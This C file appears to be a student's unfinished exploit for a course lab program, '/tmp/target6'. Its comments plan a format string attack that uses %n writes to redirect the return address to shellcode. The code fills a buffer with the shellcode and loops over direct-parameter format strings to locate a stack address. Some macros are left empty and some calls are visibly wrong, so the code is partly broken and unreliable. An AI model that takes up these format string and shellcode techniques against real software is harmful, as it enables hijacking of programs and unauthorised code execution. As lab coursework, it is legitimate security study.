#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target6"


#define EIP             
#define SHELLCODE_LOC

//This appears to be a blatant format string attack
//The use of snprintf makes it apppear to me to be some
//sort of format string attack. 

/*

Maybe use %s format specificers to move up the stack to RET
and once at RET use %n to write to the stack to point back to 
some malicious code.

*/



int main(void)
{


  char *args[3];

  char *env[1];


 
  args[0] = TARGET; 
  //args[1] = "hi there"; 
  args[2] = NULL;
  env[0] = NULL;


//**************************ORIGINAL CODE**************************//

  //build format string

  args[1] = (char *) malloc(256);  //bufffer to copy into 256. 
                            //this is our format string
                            //allocate memory here
   
  char *buf = malloc(256);
                           
  //clear memory wqith nops and put a null terminator
  //at the end
  memset(buf, 'A', 254);
  buf[254] = '\0'; 


  printf("Buffer filled with As: %s\n", buf);

  printf("Buffer with hex code prepended: %X\n", buf);


  //**location at the end of the buffer
  //**256-45 = 210 (adjust by one, actually 211)
  ///so its not right up next to or overwriting EBP
  //fill up to 211 with other 

  memcpy(buf+211, shellcode, strlen(shellcode));


  printf("Buffer with shellcode %s\n", buf);

   
printf("\n========================================================\n");  


//=============OVERWRITING FORMAT SPECIFIERS====================================

/*

  //printf("copy of buffer %s", buf);                              

  //write 127 to 0xbfffc8c0

  //format string
  //increase stack pointer, seperated by 4 bytes each
  //one hex digit is 4 bits, so one instruction below is a byte
  //for a sum of 5 bytes (08) and 4 bytes for the AAAO??  

  //EIP must point into the buffer for this to work
 

  //this doesn't seg fault when I use %u200%n
  //what about 280? since EBP is 280 from ESP
  //doesn't seg fault at 280, trying 300
  //causing seg faults
  //seg faults (MAX?) at 512
  //seg faults (MIN?) at 128

  //prepended hex address takes up 16 bytes (4 sets of 4 bytes)
  //so we write from 16 onwards  

  //make sure \0 is still there
  //buf[255] = '\0';

  //OK here

  printf("Copy of buffer before popping %s\n", buf);                              
 
					//%u 
				    //move pointer upwards into format
                                    //string, meanwhile counting to make
                                    //a hex address to store using %n
				    
				    //%n will write into the address
                                    //specified by EIP, so it will
                                    //write the address of the shellcode
                                    //into the hex address at EIP_ADDR


				   //so at this point we have EIP_ADDDR
                                   //pointing to the hex address for the
                                   //shellcode and EIP pointing inside 
				   //the buffer at the EIP_ADDR code

					
				    //EIP should be pointing to EIP_ADDR 
				    //now that contains the shell code 
				    //address

				    //Now that EIP is pointing to the 
				    ///shell code, we may need a jump
                                    //instruction instead...that is
                                    //EIP_ADDR might need a jump to 
                                    //the shellcode, not just its addy
  

   //Popping to the format string
   //continue popping by u and measuring
   //the format strings. 

  /// i.e. loop - start small
   ///make sure they output the stack data like they are suppposed to
    // printf("%20u%s);
    // printf("%200u%s);
    // printf("%200u%200u%s);
   //if the format string returns an AAAAA
   //we know that we've hit the sweet spot,
   //that is, our format string
   //we are using %s instead of %n because we need to know
   //what we are writing to start with anyway

  //strcpy(buf+16, "%20u%n"); //overwrite section. pop using

  //strcat(buf+16, "%16u%s");


//===============CURRENT WRITE CODE===========================================//


 //Ok here
  printf("Searching for A (Format screen)...amongst the buffer.%s\n", 
	buf); //terminating here and seg faults
  
  //5 %xs pops me to the shelllcode
  //6 xs?

  char *tempdest = malloc(255);

  char *format = malloc(255);

  strcpy(format, "\x78\xfe\xff\xbf %1$s %2$s %3$s %4$s %5$s");
 



  //execute format string    
  //causing seg fault
  sprintf(tempdest, format);


  //output format string
  printf("\nFirst buffer looksl ike this:%s\n ", format);
  //printf(format);


  //output result of executing format string
  printf("\nFinal Buffer loooks like this: %s\n", tempdest);

:

*/

  //==============SCAN FOR HEX ADDRESS=====================

  char *format = malloc(256);
  char *temp_dest = malloc(256);
 

//COMMENTED OUT TWO CPIES BELOW SOI CAN USE DIRECT PARAMETRS

  //strcpy(format, "\x78\xfe\xff\xbf %x \0");
  

 /// strcat(format, " %x %s \0 ");
  
  int m = 0;
  char integer_string[32];


  //reduced counter from 400 (seg fault) to 100
  for (m=0;m<200;m++)
  {
      printf("M ctr is %d", m);


     //Create a string out of m



     //THE STRCPY IS CAUSING THE SEG FAULT 
     //strcpy(format, "\x78\xfe\xff\xbf %8$s %s\n\0");
     //memmove (format, "\x78\xfe\xff\xbf %8$s %s\n\0", 200);    
     //isomg m version fixed seg fault
     //strncpy(format, "%1$s %2$s %3$s", 256);


        //construct a direct argument

        strncat(format, " %", 256);
     	sprintf(integer_string, "%d", m);      


     	strncat(format, integer_string, 256);
    	strncat(format, "$s ", 256);


        printf("Format string for direct parameter: %s", format);


      //perform print (and operations) and output result
      //string to temp_dest   
      //sprintf(temp_dest, format);   
      snprintf(format, 255, temp_dest);
      printf("Temp Dest: %s", temp_dest);

      //search results

      //found a bunch of these 
      //if(strstr(temp_dest, "bffff") > 0)
      //{
      //  printf("Found a bffff\n");
      // 
      //}      

      //found a bunch of these, promissing
      //if(strstr(temp_dest, "bffffe") > 0)
     //{
      //  printf("Found a bffffe\n");
      // 
      //}      


      if(strstr(temp_dest, "bffffe70") > 0)
      {
        printf("Found a bffffe70\n");
       
      }      
      getchar();

  }

/*

//==================SCAN USING DIRECT PARAMETERS==============//


  char *format = malloc(1024);
  char *temp_dest = malloc(1024);
  char *mstring = malloc(30); 

  //strcpy(format, "\x78\xfe\xff\xbf %1$s \0"); //where 1 is the 
                                     //location on the stack
                                    //increment, output, looking
                                    //for hex address

    //%8$s <--- directly get 8th word on stackmap, can print directly

 
  //strcpy(format, "\x78\xfe\xff\xbf %1$s \0"); //where 1 is the 

  //strcat(format, " %$1s \0"); --takes the first element off stack
  
  int m = 0;



  for (m=1;m<10;m++)
  {
      printf("M ctr is %d", m);

      //perform print (and operations) and output result
      //string to temp_dest      
      //sprintf(format, temp_dest);
            

      //sprintf(mstring, 30, " %d ", m);
 
      
      strcpy(temp_dest, "\x78\xfe\xff\xbf ");
      strcat(temp_dest, "%"); 

      //strcat(format, mstring);
      memset(temp_dest + sizeof(temp_dest), m, sizeof(m));  
      strcat(temp_dest, "$s \0"); //where 1 is the
      printf("Finishing buffer popping....");
      printf("Format and m ctr in buffer is %s", temp_dest); 


      sprintf(format, temp_dest);

      printf("Printing from stack (tempdest)  %s", temp_dest);
      printf("Printing from format %s", format);

      //search results

      //found a bunch of these 
      if(strstr(temp_dest, "bffff") > 0)
      {
        printf("Found a bffff\n");
       
      }      

      //found a bunch of these, promissing
      if(strstr(temp_dest, "bffffe") > 0)
      {
        printf("Found a bffffe\n");
       
      }      


      if(strstr(temp_dest, "bffffe70") > 0)
      {
        printf("Found a bffffe70\n");
       
      }      


  }
*/
  //===============END FILE================================//                                     


  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}



